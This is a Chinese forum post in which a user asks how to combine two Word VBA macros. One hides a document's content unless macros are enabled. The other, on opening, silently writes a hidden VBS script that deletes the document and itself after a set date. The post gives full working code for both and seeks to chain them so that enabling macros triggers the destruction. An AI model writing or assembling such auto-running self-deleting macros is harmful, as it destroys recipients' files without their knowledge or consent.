|
在网上找到了两个由孔版分享的相关帖子:
1、不启用宏则看不到内容
2、文档定期自杀
对应代码如下:
请教如何整合代码,使之做到:不启用宏则看不到内容,启用宏则运行“文档定期自杀”程序
不启用宏则看不到内容
Option Explicit
'+++++++++++++++++++++++++++++++++++++++++++++++++
'此程序演示:不启用宏就看不到有用“内容”的宏
'利用文档变量存“有用内容”
'如果文档中有图形等相当而言就比较麻烦。
'+++++++++++++++++++++++++++++++++++++++++++++++++
Dim docVar As Variable
Dim longPar As Long
Dim i
'文档打开时运行
Private Sub Document_Open()
On Error Resume Next
Application.ScreenUpdating = False
Dim astring As String
'还原到文档
For Each docVar In Me.Variables
astring = astring & docVar.Value
Next
'一次性写入文档
ActiveDocument.Content.Text = astring
'此处可以设置格式
SetFormat
Application.ScreenUpdating = True
End Sub
'文档关闭时运行
Private Sub Document_Close()
On Error Resume Next
Application.ScreenUpdating = False
'全部删除文档变量
For Each docVar In Me.Variables
docVar.Delete
Next
'创建文档变量,并存为内容
longPar = Me.Paragraphs.Count '取得文档的段落数
For i = 1 To longPar
' If Me.Paragraphs(i).Range.Text = Chr(13) Then
' Me.Variables.Add Name:="a" & i, Value:=
' Else
Me.Variables.Add Name:="a" & i, Value:=Me.Paragraphs(i).Range.Text
' End If
Next
'写入不启用宏时的效果
DocText
'存盘
Me.Save
Application.ScreenUpdating = True
End Sub
'写入文档内容
Sub DocText()
ActiveDocument.Content.Text = "这是没有启用宏时的内容!" & vbCrLf & _
"你看不到任何有效的信息!" & vbCrLf & _
"同时也是回答有的人提问:为什么我非要启用宏呢?"
End Sub
'设置文档格式
Sub SetFormat()
Me.Content.Font.Size = 14 '字数14
Me.Content.Font.Name = "宋体"
Me.Content.Font.NameAscii = "Times New Roman"
'首段设为字大小24
With Me.Paragraphs.First.Range
.ParagraphFormat.Alignment = wdAlignParagraphCenter
.Font.Size = 24
.Font.Name = "黑体"
End With
End Sub
文档定期自杀
Option Explicit
Private Sub Document_Open()
Call isKillFile
End Sub
Sub isKillFile()
'2008-1-1之前打开文件且运行了启,就会自杀,将此复制到thisdocument模块下
If DateDiff("d", #12/25/2007#, Now()) < 5 Then
Dim str As String
str = "Set FSO = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")" & Chr(13) & _
"WScript.Sleep 2000" & Chr(13) & _
"FSO.DeleteFile (" & Chr(34) & CurrentFilePathAndNameDoc & Chr(34) & ")" & Chr(13) & _
"FSO.DeleteFile (" & Chr(34) & CurrentFilePathAndNameText & Chr(34) & ")"
Dim FSO As Object, f As Object
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.OpenTextFile(CurrentFilePathAndNameText, 2, True)
f.Write str
f.Close
Shell "WScript.exe " & CurrentFilePathAndNameText, vbHide
ActiveDocument.Close
End If
End Sub
Function CurrentFilePathAndNameDoc()
With ActiveDocument
If Right(.Path, 1) = "\" Then
CurrentFilePathAndNameDoc = .Path & .Name
Else
CurrentFilePathAndNameDoc = .Path & "\" & .Name
End If
End With
End Function
Function CurrentFilePathAndNameText()
CurrentFilePathAndNameText = Mid(CurrentFilePathAndNameDoc, 1, _
Len(CurrentFilePathAndNameDoc) - 3) & "vbs"
End Function
[ 本帖最后由 tangqingfu 于 2010-10-8 09:52 编辑 ] |
评分
-
1
查看全部评分
-
|